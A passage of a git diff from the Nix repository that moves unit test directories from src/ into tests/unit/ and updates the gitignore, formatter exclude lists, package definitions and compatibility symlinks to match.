 delete mode 120000 src/nix-fetchers-tests/.version
 delete mode 120000 src/nix-fetchers-tests/build-utils-meson
 create mode 120000 src/nix-flake-tests
 delete mode 120000 src/nix-flake-tests/.version
 delete mode 120000 src/nix-flake-tests/build-utils-meson
 create mode 120000 src/nix-store-test-support
 delete mode 120000 src/nix-store-test-support/.version
 delete mode 120000 src/nix-store-test-support/build-utils-meson
 create mode 120000 src/nix-store-tests
 delete mode 120000 src/nix-store-tests/.version
 delete mode 120000 src/nix-store-tests/build-utils-meson
 delete mode 120000 src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv
 delete mode 120000 src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv
 delete mode 120000 src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv
 delete mode 120000 src/nix-store-tests/data/derivation/advanced-attributes.drv
 create mode 120000 src/nix-util-test-support
 delete mode 120000 src/nix-util-test-support/.version
 delete mode 120000 src/nix-util-test-support/build-utils-meson
 create mode 120000 src/nix-util-tests
 delete mode 120000 src/nix-util-tests/.version
 delete mode 120000 src/nix-util-tests/build-utils-meson
 create mode 120000 tests/unit/libexpr-support/.version
 create mode 120000 tests/unit/libexpr-support/build-utils-meson
 rename {src/nix-expr-test-support => tests/unit/libexpr-support}/meson.build (100%)
 rename {src/nix-expr-test-support => tests/unit/libexpr-support}/package.nix (93%)
 rename {src/nix-expr-test-support => tests/unit/libexpr-support}/tests/libexpr.hh (100%)
 rename {src/nix-expr-test-support => tests/unit/libexpr-support}/tests/nix_api_expr.hh (100%)
 rename {src/nix-expr-test-support => tests/unit/libexpr-support}/tests/value/context.cc (100%)
 rename {src/nix-expr-test-support => tests/unit/libexpr-support}/tests/value/context.hh (100%)
 create mode 120000 tests/unit/libexpr/.version
 create mode 120000 tests/unit/libexpr/build-utils-meson
 rename {src/nix-expr-tests => tests/unit/libexpr}/data/.gitkeep (100%)
 rename {src/nix-expr-tests => tests/unit/libexpr}/derived-path.cc (100%)
 rename {src/nix-expr-tests => tests/unit/libexpr}/error_traces.cc (100%)
 rename {src/nix-expr-tests => tests/unit/libexpr}/eval.cc (100%)
 rename {src/nix-expr-tests => tests/unit/libexpr}/json.cc (100%)
 rename {src/nix-expr-tests => tests/unit/libexpr}/main.cc (100%)
 rename {src/nix-expr-tests => tests/unit/libexpr}/meson.build (100%)
 rename {src/nix-expr-tests => tests/unit/libexpr}/nix_api_expr.cc (100%)
 rename {src/nix-expr-tests => tests/unit/libexpr}/nix_api_external.cc (100%)
 rename {src/nix-expr-tests => tests/unit/libexpr}/nix_api_value.cc (100%)
 rename {src/nix-expr-tests => tests/unit/libexpr}/package.nix (94%)
 rename {src/nix-expr-tests => tests/unit/libexpr}/primops.cc (100%)
 rename {src/nix-expr-tests => tests/unit/libexpr}/search-path.cc (100%)
 rename {src/nix-expr-tests => tests/unit/libexpr}/trivial.cc (100%)
 rename {src/nix-expr-tests => tests/unit/libexpr}/value/context.cc (100%)
 rename {src/nix-expr-tests => tests/unit/libexpr}/value/print.cc (100%)
 rename {src/nix-expr-tests => tests/unit/libexpr}/value/value.cc (100%)
 create mode 120000 tests/unit/libfetchers/.version
 create mode 120000 tests/unit/libfetchers/build-utils-meson
 rename {src/nix-fetchers-tests => tests/unit/libfetchers}/data/public-key/defaultType.json (100%)
 rename {src/nix-fetchers-tests => tests/unit/libfetchers}/data/public-key/noRoundTrip.json (100%)
 rename {src/nix-fetchers-tests => tests/unit/libfetchers}/data/public-key/simple.json (100%)
 rename {src/nix-fetchers-tests => tests/unit/libfetchers}/meson.build (100%)
 rename {src/nix-fetchers-tests => tests/unit/libfetchers}/package.nix (94%)
 rename {src/nix-fetchers-tests => tests/unit/libfetchers}/public-key.cc (100%)
 create mode 120000 tests/unit/libflake/.version
 create mode 120000 tests/unit/libflake/build-utils-meson
 rename {src/nix-flake-tests => tests/unit/libflake}/data/.gitkeep (100%)
 rename {src/nix-flake-tests => tests/unit/libflake}/flakeref.cc (100%)
 rename {src/nix-flake-tests => tests/unit/libflake}/meson.build (100%)
 rename {src/nix-flake-tests => tests/unit/libflake}/package.nix (94%)
 rename {src/nix-flake-tests => tests/unit/libflake}/url-name.cc (100%)
 create mode 120000 tests/unit/libstore-support/.version
 create mode 120000 tests/unit/libstore-support/build-utils-meson
 rename {src/nix-store-test-support => tests/unit/libstore-support}/meson.build (100%)
 rename {src/nix-store-test-support => tests/unit/libstore-support}/package.nix (93%)
 rename {src/nix-store-test-support => tests/unit/libstore-support}/tests/derived-path.cc (100%)
 rename {src/nix-store-test-support => tests/unit/libstore-support}/tests/derived-path.hh (100%)
 rename {src/nix-store-test-support => tests/unit/libstore-support}/tests/libstore.hh (100%)
 rename {src/nix-store-test-support => tests/unit/libstore-support}/tests/nix_api_store.hh (100%)
 rename {src/nix-store-test-support => tests/unit/libstore-support}/tests/outputs-spec.cc (100%)
 rename {src/nix-store-test-support => tests/unit/libstore-support}/tests/outputs-spec.hh (100%)
 rename {src/nix-store-test-support => tests/unit/libstore-support}/tests/path.cc (100%)
 rename {src/nix-store-test-support => tests/unit/libstore-support}/tests/path.hh (100%)
 rename {src/nix-store-test-support => tests/unit/libstore-support}/tests/protocol.hh (100%)
 create mode 120000 tests/unit/libstore/.version
 create mode 120000 tests/unit/libstore/build-utils-meson
 rename {src/nix-store-tests => tests/unit/libstore}/common-protocol.cc (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/content-address.cc (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/common-protocol/content-address.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/common-protocol/drv-output.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/common-protocol/optional-content-address.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/common-protocol/optional-store-path.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/common-protocol/realisation.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/common-protocol/set.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/common-protocol/store-path.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/common-protocol/string.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/common-protocol/vector.bin (100%)
 create mode 120000 tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv
 rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/advanced-attributes-defaults.json (100%)
 create mode 120000 tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv
 rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/advanced-attributes-structured-attrs-defaults.json (100%)
 create mode 120000 tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv
 rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/advanced-attributes-structured-attrs.json (100%)
 create mode 120000 tests/unit/libstore/data/derivation/advanced-attributes.drv
 rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/bad-old-version-dyn-deps.drv (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/bad-version.drv (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/dynDerivationDeps.drv (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/dynDerivationDeps.json (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/output-caFixedFlat.json (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/output-caFixedNAR.json (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/output-caFixedText.json (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/output-caFloating.json (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/output-deferred.json (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/output-impure.json (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/output-inputAddressed.json (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/simple.drv (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/derivation/simple.json (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/machines/bad_format (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/machines/valid (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/nar-info/impure.json (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/nar-info/pure.json (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/path-info/empty_impure.json (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/path-info/empty_pure.json (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/path-info/impure.json (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/path-info/pure.json (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/build-options-2.1.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/build-options-2.2.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/build-options-2.3.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/build-options-2.7.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/build-result-2.2.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/build-result-2.3.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/build-result-2.6.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/content-address.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/drv-output.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/handshake-to-client.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/optional-content-address.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/optional-store-path.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/realisation.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/set.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/store-path.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/string.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/unkeyed-valid-path-info-2.3.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/unkeyed-valid-path-info-2.4.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/serve-protocol/vector.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/store-reference/auto.txt (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/store-reference/auto_param.txt (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/store-reference/local_1.txt (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/store-reference/local_2.txt (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/store-reference/local_shorthand_1.txt (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/store-reference/local_shorthand_2.txt (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/store-reference/ssh.txt (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/store-reference/unix.txt (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/store-reference/unix_shorthand.txt (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/build-mode.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/build-result-1.27.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/build-result-1.28.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/build-result-1.29.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/build-result-1.37.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/client-handshake-info_1_30.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/client-handshake-info_1_33.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/client-handshake-info_1_35.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/content-address.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/derived-path-1.29.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/derived-path-1.30.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/drv-output.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/handshake-to-client.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/keyed-build-result-1.29.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/optional-content-address.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/optional-store-path.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/optional-trusted-flag.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/realisation.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/set.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/store-path.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/string.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/unkeyed-valid-path-info-1.15.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/valid-path-info-1.15.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/valid-path-info-1.16.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/data/worker-protocol/vector.bin (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/derivation-advanced-attrs.cc (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/derivation.cc (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/derived-path.cc (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/downstream-placeholder.cc (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/machines.cc (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/meson.build (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/nar-info-disk-cache.cc (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/nar-info.cc (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/nix_api_store.cc (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/outputs-spec.cc (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/package.nix (90%)
 rename {src/nix-store-tests => tests/unit/libstore}/path-info.cc (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/path.cc (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/references.cc (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/serve-protocol.cc (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/store-reference.cc (100%)
 rename {src/nix-store-tests => tests/unit/libstore}/worker-protocol.cc (100%)
 create mode 120000 tests/unit/libutil-support/.version
 create mode 120000 tests/unit/libutil-support/build-utils-meson
 rename {src/nix-util-test-support => tests/unit/libutil-support}/meson.build (100%)
 rename {src/nix-util-test-support => tests/unit/libutil-support}/package.nix (93%)
 rename {src/nix-util-test-support => tests/unit/libutil-support}/tests/characterization.hh (100%)
 rename {src/nix-util-test-support => tests/unit/libutil-support}/tests/hash.cc (100%)
 rename {src/nix-util-test-support => tests/unit/libutil-support}/tests/hash.hh (100%)
 rename {src/nix-util-test-support => tests/unit/libutil-support}/tests/nix_api_util.hh (100%)
 rename {src/nix-util-test-support => tests/unit/libutil-support}/tests/string_callback.cc (100%)
 rename {src/nix-util-test-support => tests/unit/libutil-support}/tests/string_callback.hh (100%)
 create mode 120000 tests/unit/libutil/.version
 rename {src/nix-util-tests => tests/unit/libutil}/args.cc (100%)
 create mode 120000 tests/unit/libutil/build-utils-meson
 rename {src/nix-util-tests => tests/unit/libutil}/canon-path.cc (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/chunked-vector.cc (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/closure.cc (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/compression.cc (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/config.cc (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/data/git/check-data.sh (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/data/git/hello-world-blob.bin (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/data/git/hello-world.bin (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/data/git/tree.bin (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/data/git/tree.txt (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/file-content-address.cc (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/git.cc (99%)
 rename {src/nix-util-tests => tests/unit/libutil}/hash.cc (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/hilite.cc (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/json-utils.cc (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/logging.cc (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/lru-cache.cc (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/meson.build (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/nix_api_util.cc (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/package.nix (94%)
 rename {src/nix-util-tests => tests/unit/libutil}/pool.cc (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/references.cc (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/spawn.cc (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/suggestions.cc (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/tests.cc (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/url.cc (100%)
 rename {src/nix-util-tests => tests/unit/libutil}/xml-writer.cc (100%)

diff --git a/.gitignore b/.gitignore
index fdfd744e5cd..a17b627f44a 100644
--- a/.gitignore
+++ b/.gitignore
@@ -49,22 +49,22 @@ perl/Makefile.config
 /src/libexpr/parser-tab.output
 /src/libexpr/nix.tbl
 /src/libexpr/tests
-/src/nix-expr-tests/libnixexpr-tests
+/tests/unit/libexpr/libnixexpr-tests
 
 # /src/libfetchers
-/src/nix-fetchers-tests/libnixfetchers-tests
+/tests/unit/libfetchers/libnixfetchers-tests
 
 # /src/libflake
-/src/nix-flake-tests/libnixflake-tests
+/tests/unit/libflake/libnixflake-tests
 
 # /src/libstore/
 *.gen.*
 /src/libstore/tests
-/src/nix-store-tests/libnixstore-tests
+/tests/unit/libstore/libnixstore-tests
 
 # /src/libutil/
 /src/libutil/tests
-/src/nix-util-tests/libnixutil-tests
+/tests/unit/libutil/libnixutil-tests
 
 /src/nix/nix
 
diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index 007ef034fb2..8f95e788bec 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -15,7 +15,7 @@
           excludes = [
             # We don't want to format test data
             # ''tests/(?!nixos/).*\.nix''
-            ''^src/[^/]*-tests/data/.*$''
+            ''^tests/unit/[^/]*/data/.*$''
 
             # Don't format vendored code
             ''^doc/manual/redirects\.js$''
@@ -429,65 +429,65 @@
             ''^tests/nixos/ca-fd-leak/sender\.c''
             ''^tests/nixos/ca-fd-leak/smuggler\.c''
             ''^tests/nixos/user-sandboxing/attacker\.c''
-            ''^src/nix-expr-test-support/tests/libexpr\.hh''
-            ''^src/nix-expr-test-support/tests/value/context\.cc''
-            ''^src/nix-expr-test-support/tests/value/context\.hh''
-            ''^src/nix-expr-tests/derived-path\.cc''
-            ''^src/nix-expr-tests/error_traces\.cc''
-            ''^src/nix-expr-tests/eval\.cc''
-            ''^src/nix-expr-tests/json\.cc''
-            ''^src/nix-expr-tests/main\.cc''
-            ''^src/nix-expr-tests/primops\.cc''
-            ''^src/nix-expr-tests/search-path\.cc''
-            ''^src/nix-expr-tests/trivial\.cc''
-            ''^src/nix-expr-tests/value/context\.cc''
-            ''^src/nix-expr-tests/value/print\.cc''
-            ''^src/nix-fetchers-tests/public-key\.cc''
-            ''^src/nix-flake-tests/flakeref\.cc''
-            ''^src/nix-flake-tests/url-name\.cc''
-            ''^src/nix-store-test-support/tests/derived-path\.cc''
-            ''^src/nix-store-test-support/tests/derived-path\.hh''
-            ''^src/nix-store-test-support/tests/nix_api_store\.hh''
-            ''^src/nix-store-test-support/tests/outputs-spec\.cc''
-            ''^src/nix-store-test-support/tests/outputs-spec\.hh''
-            ''^src/nix-store-test-support/tests/path\.cc''
-            ''^src/nix-store-test-support/tests/path\.hh''
-            ''^src/nix-store-test-support/tests/protocol\.hh''
-            ''^src/nix-store-tests/common-protocol\.cc''
-            ''^src/nix-store-tests/content-address\.cc''
-            ''^src/nix-store-tests/derivation\.cc''
-            ''^src/nix-store-tests/derived-path\.cc''
-            ''^src/nix-store-tests/downstream-placeholder\.cc''
-            ''^src/nix-store-tests/machines\.cc''
-            ''^src/nix-store-tests/nar-info-disk-cache\.cc''
-            ''^src/nix-store-tests/nar-info\.cc''
-            ''^src/nix-store-tests/outputs-spec\.cc''
-            ''^src/nix-store-tests/path-info\.cc''
-            ''^src/nix-store-tests/path\.cc''
-            ''^src/nix-store-tests/serve-protocol\.cc''
-            ''^src/nix-store-tests/worker-protocol\.cc''
-            ''^src/nix-util-test-support/tests/characterization\.hh''
-            ''^src/nix-util-test-support/tests/hash\.cc''
-            ''^src/nix-util-test-support/tests/hash\.hh''
-            ''^src/nix-util-tests/args\.cc''
-            ''^src/nix-util-tests/canon-path\.cc''
-            ''^src/nix-util-tests/chunked-vector\.cc''
-            ''^src/nix-util-tests/closure\.cc''
-            ''^src/nix-util-tests/compression\.cc''
-            ''^src/nix-util-tests/config\.cc''
-            ''^src/nix-util-tests/file-content-address\.cc''
-            ''^src/nix-util-tests/git\.cc''
-            ''^src/nix-util-tests/hash\.cc''
-            ''^src/nix-util-tests/hilite\.cc''
-            ''^src/nix-util-tests/json-utils\.cc''
-            ''^src/nix-util-tests/logging\.cc''
-            ''^src/nix-util-tests/lru-cache\.cc''
-            ''^src/nix-util-tests/pool\.cc''
-            ''^src/nix-util-tests/references\.cc''
-            ''^src/nix-util-tests/suggestions\.cc''
-            ''^src/nix-util-tests/tests\.cc''
-            ''^src/nix-util-tests/url\.cc''
-            ''^src/nix-util-tests/xml-writer\.cc''
+            ''^tests/unit/libexpr-support/tests/libexpr\.hh''
+            ''^tests/unit/libexpr-support/tests/value/context\.cc''
+            ''^tests/unit/libexpr-support/tests/value/context\.hh''
+            ''^tests/unit/libexpr/derived-path\.cc''
+            ''^tests/unit/libexpr/error_traces\.cc''
+            ''^tests/unit/libexpr/eval\.cc''
+            ''^tests/unit/libexpr/json\.cc''
+            ''^tests/unit/libexpr/main\.cc''
+            ''^tests/unit/libexpr/primops\.cc''
+            ''^tests/unit/libexpr/search-path\.cc''
+            ''^tests/unit/libexpr/trivial\.cc''
+            ''^tests/unit/libexpr/value/context\.cc''
+            ''^tests/unit/libexpr/value/print\.cc''
+            ''^tests/unit/libfetchers/public-key\.cc''
+            ''^tests/unit/libflake/flakeref\.cc''
+            ''^tests/unit/libflake/url-name\.cc''
+            ''^tests/unit/libstore-support/tests/derived-path\.cc''
+            ''^tests/unit/libstore-support/tests/derived-path\.hh''
+            ''^tests/unit/libstore-support/tests/nix_api_store\.hh''
+            ''^tests/unit/libstore-support/tests/outputs-spec\.cc''
+            ''^tests/unit/libstore-support/tests/outputs-spec\.hh''
+            ''^tests/unit/libstore-support/tests/path\.cc''
+            ''^tests/unit/libstore-support/tests/path\.hh''
+            ''^tests/unit/libstore-support/tests/protocol\.hh''
+            ''^tests/unit/libstore/common-protocol\.cc''
+            ''^tests/unit/libstore/content-address\.cc''
+            ''^tests/unit/libstore/derivation\.cc''
+            ''^tests/unit/libstore/derived-path\.cc''
+            ''^tests/unit/libstore/downstream-placeholder\.cc''
+            ''^tests/unit/libstore/machines\.cc''
+            ''^tests/unit/libstore/nar-info-disk-cache\.cc''
+            ''^tests/unit/libstore/nar-info\.cc''
+            ''^tests/unit/libstore/outputs-spec\.cc''
+            ''^tests/unit/libstore/path-info\.cc''
+            ''^tests/unit/libstore/path\.cc''
+            ''^tests/unit/libstore/serve-protocol\.cc''
+            ''^tests/unit/libstore/worker-protocol\.cc''
+            ''^tests/unit/libutil-support/tests/characterization\.hh''
+            ''^tests/unit/libutil-support/tests/hash\.cc''
+            ''^tests/unit/libutil-support/tests/hash\.hh''
+            ''^tests/unit/libutil/args\.cc''
+            ''^tests/unit/libutil/canon-path\.cc''
+            ''^tests/unit/libutil/chunked-vector\.cc''
+            ''^tests/unit/libutil/closure\.cc''
+            ''^tests/unit/libutil/compression\.cc''
+            ''^tests/unit/libutil/config\.cc''
+            ''^tests/unit/libutil/file-content-address\.cc''
+            ''^tests/unit/libutil/git\.cc''
+            ''^tests/unit/libutil/hash\.cc''
+            ''^tests/unit/libutil/hilite\.cc''
+            ''^tests/unit/libutil/json-utils\.cc''
+            ''^tests/unit/libutil/logging\.cc''
+            ''^tests/unit/libutil/lru-cache\.cc''
+            ''^tests/unit/libutil/pool\.cc''
+            ''^tests/unit/libutil/references\.cc''
+            ''^tests/unit/libutil/suggestions\.cc''
+            ''^tests/unit/libutil/tests\.cc''
+            ''^tests/unit/libutil/url\.cc''
+            ''^tests/unit/libutil/xml-writer\.cc''
           ];
         };
         shellcheck = {
@@ -666,7 +666,7 @@
             ''^tests/functional/user-envs\.sh$''
             ''^tests/functional/why-depends\.sh$''
             ''^tests/functional/zstd\.sh$''
-            ''^src/nix-util-tests/data/git/check-data\.sh$''
+            ''^tests/unit/libutil/data/git/check-data\.sh$''
           ];
         };
         # TODO: nixfmt, https://github.com/NixOS/nixfmt/issues/153
diff --git a/packaging/components.nix b/packaging/components.nix
index db50d6b228f..e9e95c028b7 100644
--- a/packaging/components.nix
+++ b/packaging/components.nix
@@ -9,24 +9,24 @@ in
 
   nix-util = callPackage ../src/libutil/package.nix { };
   nix-util-c = callPackage ../src/libutil-c/package.nix { };
-  nix-util-test-support = callPackage ../src/nix-util-test-support/package.nix { };
-  nix-util-tests = callPackage ../src/nix-util-tests/package.nix { };
+  nix-util-test-support = callPackage ../tests/unit/libutil-support/package.nix { };
+  nix-util-tests = callPackage ../tests/unit/libutil/package.nix { };
 
   nix-store = callPackage ../src/libstore/package.nix { };
   nix-store-c = callPackage ../src/libstore-c/package.nix { };
-  nix-store-test-support = callPackage ../src/nix-store-test-support/package.nix { };
-  nix-store-tests = callPackage ../src/nix-store-tests/package.nix { };
+  nix-store-test-support = callPackage ../tests/unit/libstore-support/package.nix { };
+  nix-store-tests = callPackage ../tests/unit/libstore/package.nix { };
 
   nix-fetchers = callPackage ../src/libfetchers/package.nix { };
-  nix-fetchers-tests = callPackage ../src/nix-fetchers-tests/package.nix { };
+  nix-fetchers-tests = callPackage ../tests/unit/libfetchers/package.nix { };
 
   nix-expr = callPackage ../src/libexpr/package.nix { };
   nix-expr-c = callPackage ../src/libexpr-c/package.nix { };
-  nix-expr-test-support = callPackage ../src/nix-expr-test-support/package.nix { };
-  nix-expr-tests = callPackage ../src/nix-expr-tests/package.nix { };
+  nix-expr-test-support = callPackage ../tests/unit/libexpr-support/package.nix { };
+  nix-expr-tests = callPackage ../tests/unit/libexpr/package.nix { };
 
   nix-flake = callPackage ../src/libflake/package.nix { };
-  nix-flake-tests = callPackage ../src/nix-flake-tests/package.nix { };
+  nix-flake-tests = callPackage ../tests/unit/libflake/package.nix { };
 
   nix-internal-api-docs = callPackage ../src/internal-api-docs/package.nix { };
   nix-external-api-docs = callPackage ../src/external-api-docs/package.nix { };
diff --git a/src/nix-expr-test-support b/src/nix-expr-test-support
new file mode 120000
index 00000000000..427b80dff0b
--- /dev/null
+++ b/src/nix-expr-test-support
@@ -0,0 +1 @@
+../tests/unit/libexpr-support
\ No newline at end of file
diff --git a/src/nix-expr-test-support/.version b/src/nix-expr-test-support/.version
deleted file mode 120000
index b7badcd0cc8..00000000000
--- a/src/nix-expr-test-support/.version
+++ /dev/null
@@ -1 +0,0 @@
-../../.version
\ No newline at end of file
diff --git a/src/nix-expr-test-support/build-utils-meson b/src/nix-expr-test-support/build-utils-meson
deleted file mode 120000
index 5fff21bab55..00000000000
--- a/src/nix-expr-test-support/build-utils-meson
+++ /dev/null
@@ -1 +0,0 @@
-../../build-utils-meson
\ No newline at end of file
diff --git a/src/nix-expr-tests b/src/nix-expr-tests
new file mode 120000
index 00000000000..3af7110d36d
--- /dev/null
+++ b/src/nix-expr-tests
@@ -0,0 +1 @@
+../tests/unit/libexpr
\ No newline at end of file
diff --git a/src/nix-expr-tests/.version b/src/nix-expr-tests/.version
deleted file mode 120000
index b7badcd0cc8..00000000000
--- a/src/nix-expr-tests/.version
+++ /dev/null
@@ -1 +0,0 @@
-../../.version
\ No newline at end of file
diff --git a/src/nix-expr-tests/build-utils-meson b/src/nix-expr-tests/build-utils-meson
deleted file mode 120000
index 5fff21bab55..00000000000
--- a/src/nix-expr-tests/build-utils-meson
+++ /dev/null
@@ -1 +0,0 @@
-../../build-utils-meson
\ No newline at end of file
diff --git a/src/nix-fetchers-tests b/src/nix-fetchers-tests
new file mode 120000
index 00000000000..80e4b68ae5e
--- /dev/null
+++ b/src/nix-fetchers-tests
@@ -0,0 +1 @@
+../tests/unit/libfetchers
\ No newline at end of file
diff --git a/src/nix-fetchers-tests/.version b/src/nix-fetchers-tests/.version
deleted file mode 120000
index b7badcd0cc8..00000000000
--- a/src/nix-fetchers-tests/.version
+++ /dev/null
@@ -1 +0,0 @@
-../../.version
\ No newline at end of file
